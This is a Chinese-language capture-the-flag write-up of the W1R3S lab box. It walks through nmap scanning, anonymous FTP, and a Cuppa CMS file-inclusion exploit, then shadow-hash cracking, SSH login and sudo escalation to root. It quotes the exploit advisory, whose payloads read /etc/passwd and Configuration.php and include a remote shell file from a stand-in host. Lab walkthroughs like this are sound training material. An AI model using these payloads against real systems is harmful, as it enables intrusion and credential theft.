w1r3s
引言
近些日子看红笔大佬的靶机精讲视频时,他的一句话让我感受颇深,很多视频在讲解时,直接告诉你应该这么想,不应该那么想,但是其实在我们自己实战中,到底怎么才能辨认出什么信息是有用的?我们不应该是去刻意记忆在某个渗透过程中的特定信息,而是仔细去分析,并在一次次的渗透经历中摸索经验,并不断尝试,在若干信息中突围
主机发现
先ping一下kali的ip
主机扫描
sudo nmap -sn 192.168.236.0/24
用-sn参数,(root下)发送arp请求(数据链路层的数据包),若果是非root用户,则会发送tcp和icmp包。进行轻量级的侦察,得到活动的主机ip而不容易引起注意,有时候arp请求不会被所有主机响应,我们就可以通过icmp时间戳请求来进行主机发现(–send-ip)
另外顺道一提,红队笔记大佬说道,不建议在渗透过程中使用kali的root权限,还是用普通用户更好,需要root的时候sudo即可,在进行扫描阶段的许多nmap指令都是需要root权限的,因此我就直接用root了,大家不要模仿!更规范的方式是每次都sudo。
启动靶机前后,这个ip是新增的192.168.236.131
由nmap的扫描结果可发现靶机的地址为192.168.200.139 。实际测试过程中,应当在靶机上线之前进行一次扫描,靶机上线之后再扫描一次,对比发现上线的主机,更方便确认靶机的ip。下一步即针对这个ip进行端口扫描。
端口扫描
tcp端口扫描
已经拿到靶机的ip了,那我们下一步就是用nmap对这个ip进行端口扫描,看看开放了哪些端口和服务。命令如下:
nmap -sT nmap –min-rate 10000 –p- 192.168.236.131 -oA nmapscan/ports
参数说明
默认值:-sS
利用tcp协议的SYN标志位来探测目标主机的开放端口,发送一个SYN包,只建立第一步链接
这里指定-sT
发送完整的tcp三次握手请求,准确率更高,但流量和速度指标要求较高,还能够防止某些主机waf过滤了单个SYN包的情况
nmap –min-rate 10000
10000是一个合理的速率,红队行动中会更慢
–p-
-p是默认1000个端口
指定-是扫描所有65535个端口
如果端口太多,手动一个一个输不够优雅,将开放的端口号提取出来并赋给ports这个变量,使用时只需要输入$port然后按下Tab补全
ports=$(grep open nmapscan/ports.nmap | awk -F'/' '{print $1}' | paste -sd ',')
nmap -sT -sV -sC -O -p21,22,80,3306 192.168.236.131 -oA nmapscan/portdetail
参数说明
-sT 指定tcp扫描 发送tcp三次握手
-sV 探测端口服务及版本
-sC 默认脚本目录
-O 探测操作系统
扫描结果
Nmap 7.94 scan initiated Mon Jul 29 11:08:13 2024 as: nmap -sT -sV -sC -O -p21,22,80,3306 -oA nmapscan/portdetail 192.168.236.131
Nmap scan report for 192.168.236.131
Host is up (0.00030s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 content
| drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 docs
|_drwxr-xr-x 2 ftp ftp 4096 Jan 28 2018 new-employees
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.236.128
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 07:e3:5a:5c:c8:18:65:b0:5f:6e:f7:75:c7:7e:11:e0 (RSA)
| 256 03:ab:9a:ed:0c:9b:32:26:44:13:ad:b0:b0:96:c3:1e (ECDSA)
|_ 256 3d:6d:d2:4b:46:e8:c9:a3:49:e0:93:56:22:2e:e3:54 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3306/tcp open mysql MySQL (unauthorized)
MAC Address: 00:0C:29:4B:A9:49 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.2 - 4.9 (97%), Linux 5.1 (94%), Linux 3.13 - 3.16 (93%), Linux 4.10 (93%), Linux 3.4 - 3.10 (93%), Linux 4.4 (92%), Linux 3.10 (92%), Linux 3.16 - 4.6 (91%), Linux 2.6.32 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: W1R3S.inc; OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 29 11:08:33 2024 -- 1 IP address (1 host up) scanned in 20.10 seconds
UDP扫描
sudo nmap -sU --top-ports 20 192.168.236.131 -oA nmapscan/udp
参数说明
-sU 指定udp扫描
–top-ports 20 指定常用默认20个端口
nmap -sU -p21,22,80,3306 192.168.236.131
UDP扫描结果如上图,结果表明3306端口关闭,其他三个端口是开放/被过滤状态
漏洞扫描
nmap -script=vuln -p21,22,80,3306 192.168.236.131 -oA nmapscan/vuln
然后我们再使用nmap中自带的脚本vuln进行漏洞扫描。nmap里面的脚本会对端口的历史常见漏洞进行扫描探测,如果这一步就能发现可利用的漏洞,对后续的操作会很有启发。 --script=vuln表示使用脚本vuln进行扫描,vuln是vulnrability的缩写,这个脚本也会更新,不断加入新的漏洞检测。
攻击面分析
一共有四个端口:21,22,80,3306。
(1)80端口是http的web端口,且已经知道里面可能有wordpress的cms,具有较大的攻击面。这应该是最有可能的突破口
(2)22是ssh远程登录端口,通常没啥漏洞,但是也不绝对,有可能存在弱口令或者暴力破解登录啥的,但这不是我们直接入手的角度,应该放在最后考虑。
(3)21端口是ftp文件传输协议的端口,有可能存在匿名登录,FTP服务器中也可能有一些信息,也有一定的攻击面。FTP的突破口比较单一,操作比较容易。
(4)3306端口是MySQL数据库的端口,前面漏洞扫描也并没有发现太多的思路,不过如果能登录数据库,应该也有信息。
综上,80端口是最有可能的突破口,但是由于FTP可能存在匿名登录,21端口的操作比较容易,我们不妨先试试21端口,再看80端口,接着看3306数据库,最后尝试22远程登录。
FTP渗透
匿名登录
ftp 192.168.236.131
匿名登录:
username:anonymous
password:空
成功登陆后将里面的文件都下载
cd content
mget 0*.txt
...
cat 02.txt
01ec2d8fc11c493b25029fb1f47f39ce
hash-identifier查询得到是md5,再去在线解密
SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==
明文It is easy, but not that easy…
用于解密字符串上下前后翻转的在线网站
Upside Down Text | Flip Text, Type Upside Down, or Backwards Text
ı qoυˎʇ ʇɥıυʞ ʇɥıƨ ıƨ ʇɥǝ ʍɐʎ ʇo ɹooʇ¡
ı boυˎt thıυk thıƨ ıƨ the way to root! 密文
punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ
**we have a ןot of work to do‘ stop pןayıng around ** 密文
cat employee-names.txt
拿到公司员工信息,用户名&职务
web渗透
直接访问http://192.168.236.131/能看到ubantu操作系统apache搭建服务的默认页,这个页面可能隐藏了一些开发人员留下的信息,需要我们浏览一遍,再审计一下源代码,发现没有什么有用的信息,进行下一步目录爆破
目录爆破
这里爆出了这几个目录
/wordpress/wp-login.php
/administrator/ -> installation/
/javascript
先访问/javascript试试,发现无权限进行访问
/wordpress访问后返回本地localhost,估计没戏
访问/administrator,得到一个installation界面
这里暴露了cms是cuppa,这是一个cms框架的安装页面,显示了需要的环境版本等信息,这里只有一个next交互按键,红笔大佬说,我们每一步的操作都需要谨慎,考虑是否会影响正常服务器的运行,操作是否会被上报给管理员,在我们对渗透操作进行充分评估后,我们选择点击next
填写完信息后,点击next提示创建成功,但Administrator创建失败
cuppa cms文件包含漏洞getshell
这里不再尝试,可能会存在sql注入等漏洞,先用searchsploit搜索一下cuppa cms是否有漏洞,照理来说,只要是有人使用的cms框架,就应该会或多或少存在漏洞
这里找到了一个远程文件包含漏洞,我们把这个25971.txt下载下来看看怎么利用 :
searchsploit cuppa -m 25971.txt //-m指mirro,镜像拉取
25971.txt文件内容
# Exploit Title : Cuppa CMS File Inclusion
# Date : 4 June 2013 //2013年的一个很老的洞
# Exploit Author : CWH Underground
# Site : www.2600.in.th
# Vendor Homepage : http://www.cuppacms.com/ //官网
# Software Link : http://jaist.dl.sourceforge.net/project/cuppacms/cuppa_cms.zip //软件链接
# Version : Beta
# Tested on : Window and Linux //只要使用了cuppa这个cms,对于window和linux机器都适用
,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'
####################################
VULNERABILITY: PHP CODE INJECTION
####################################
/alerts/alertConfigField.php (LINE: 22)
-----------------------------------------------------------------------------
LINE 22:
<?php include($_REQUEST["urlConfig"]); ?>
-----------------------------------------------------------------------------
#####################################################
DESCRIPTION //描述
#####################################################
An attacker might include local or remote PHP files or read non-PHP files with this vulnerability. User tainted data is used when creating the file name that will be included into the current file. PHP code in this file will be evaluated, non-PHP code will be embedded to the output. This vulnerability can lead to full server compromise.
攻击者可能包含带有此漏洞的本地或远程PHP文件或读取非PHP文件。在创建将包含在当前文件中的文件名时使用用户污染数据。该文件中的PHP代码将被计算,非PHP代码将嵌入到输出中。此漏洞可能导致整个服务器被破坏。
http://target/cuppa/alerts/alertConfigField.php?urlConfig=[FI]
#####################################################
EXPLOIT //漏洞利用
#####################################################
http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
Moreover, We could access Configuration.php source code via PHPStream
For Example: //例子
-----------------------------------------------------------------------------
http://target/cuppa/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php
-----------------------------------------------------------------------------
Base64 Encode Output: //base64编码的输出
-----------------------------------------------------------------------------
PD9waHAgCgljbGFzcyBDb25maWd1cmF0aW9uewoJCXB1YmxpYyAkaG9zdCA9ICJsb2NhbGhvc3QiOwoJCXB1YmxpYyAkZGIgPSAiY3VwcGEiOwoJCXB1YmxpYyAkdXNlciA9ICJyb290IjsKCQlwdWJsaWMgJHBhc3N3b3JkID0gIkRiQGRtaW4iOwoJCXB1YmxpYyAkdGFibGVfcHJlZml4ID0gImN1XyI7CgkJcHVibGljICRhZG1pbmlzdHJhdG9yX3RlbXBsYXRlID0gImRlZmF1bHQiOwoJCXB1YmxpYyAkbGlzdF9saW1pdCA9IDI1OwoJCXB1YmxpYyAkdG9rZW4gPSAiT0JxSVBxbEZXZjNYIjsKCQlwdWJsaWMgJGFsbG93ZWRfZXh0ZW5zaW9ucyA9ICIqLmJtcDsgKi5jc3Y7ICouZG9jOyAqLmdpZjsgKi5pY287ICouanBnOyAqLmpwZWc7ICoub2RnOyAqLm9kcDsgKi5vZHM7ICoub2R0OyAqLnBkZjsgKi5wbmc7ICoucHB0OyAqLnN3ZjsgKi50eHQ7ICoueGNmOyAqLnhsczsgKi5kb2N4OyAqLnhsc3giOwoJCXB1YmxpYyAkdXBsb2FkX2RlZmF1bHRfcGF0aCA9ICJtZWRpYS91cGxvYWRzRmlsZXMiOwoJCXB1YmxpYyAkbWF4aW11bV9maWxlX3NpemUgPSAiNTI0Mjg4MCI7CgkJcHVibGljICRzZWN1cmVfbG9naW4gPSAwOwoJCXB1YmxpYyAkc2VjdXJlX2xvZ2luX3ZhbHVlID0gIiI7CgkJcHVibGljICRzZWN1cmVfbG9naW5fcmVkaXJlY3QgPSAiIjsKCX0gCj8+
-----------------------------------------------------------------------------
Base64 Decode Output: //base64编码再解码的输出
-----------------------------------------------------------------------------
<?php
class Configuration{
public $host = "localhost";
public $db = "cuppa";
public $user = "root";
public $password = "Db@dmin";
public $table_prefix = "cu_";
public $administrator_template = "default";
public $list_limit = 25;
public $token = "OBqIPqlFWf3X";
public $allowed_extensions = "*.bmp; *.csv; *.doc; *.gif; *.ico; *.jpg; *.jpeg; *.odg; *.odp; *.ods; *.odt; *.pdf; *.png; *.ppt; *.swf; *.txt; *.xcf; *.xls; *.docx; *.xlsx";
public $upload_default_path = "media/uploadsFiles";
public $maximum_file_size = "5242880";
public $secure_login = 0;
public $secure_login_value = "";
public $secure_login_redirect = "";
}
?>
-----------------------------------------------------------------------------
Able to read sensitive information via File Inclusion (PHP Stream)
################################################################################################################
Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
我们尝试用http://target/cuppa/alerts/alertConfigField.php?urlConfig=…/…/…/…/…/…/…/…/…/etc/passwd去访问一下,将里面的target换成靶机ip
发现并没有回显
这里只能重新构造一下我们的payload,只能去试错
将cuppa根目录改为administrator试一下http://target/administrator/alerts/alertConfigField.php?urlConfig=…/…/…/…/…/…/…/…/…/etc/passwd发现网页有反应了 ,但还是没有有用的信息
这时只能去进行代码审计,去cms官方github找到alertConfigField.php
CuppaCMS/alerts/alertConfigField.php at master · CuppaCMS/CuppaCMS · GitHub
进行代码审计,发现urlConfig是以post方式接受的
使用curl工具进行发包curl --help all | grep url
查看指令帮助
可以看到–data-urlencode 这个参数使用POST传参并url编码
kali执行命令
curl --data-urlencode 'urlConfig=../../../../../../../../etc/passwd'http://192.168.236.131/administrator/alerts/alertConfigField.php
将带有hash值的拿出来用john解密
www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9
w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::
vim shadow.hash
命令行模式的命令
命令 说明
:q! 强制退出vim,不保存
:q 退出vim
:wq! 强制保存并退出vim
:w <文件路径> 另存为
:saveas <文件路径> 另存为
:x 保存并退出vim
:wq 保存并退出vim
:set nu 显示行号
:set shiftwidth=10 设置缩进为10个字符,以此类推(输入Esc回到普通模式,再次尝试>>看缩进是否变化)
:ce(center) 本行内容居中
:ri(right) 本行内容居右
:le(left) 本行内容居左
破解出来两个账户的密码
尝试ssh连接,输入密码
成功登录
id指令看到w1r3s用户是有sudo权限的
提权
看是否能提权sudo -l ,输入密码
(ALL :ALL)ALL表示这个用户基本就等于root,拥有所有权限
直接sudo /bin/bash 启动一个新的bash会话,提权成功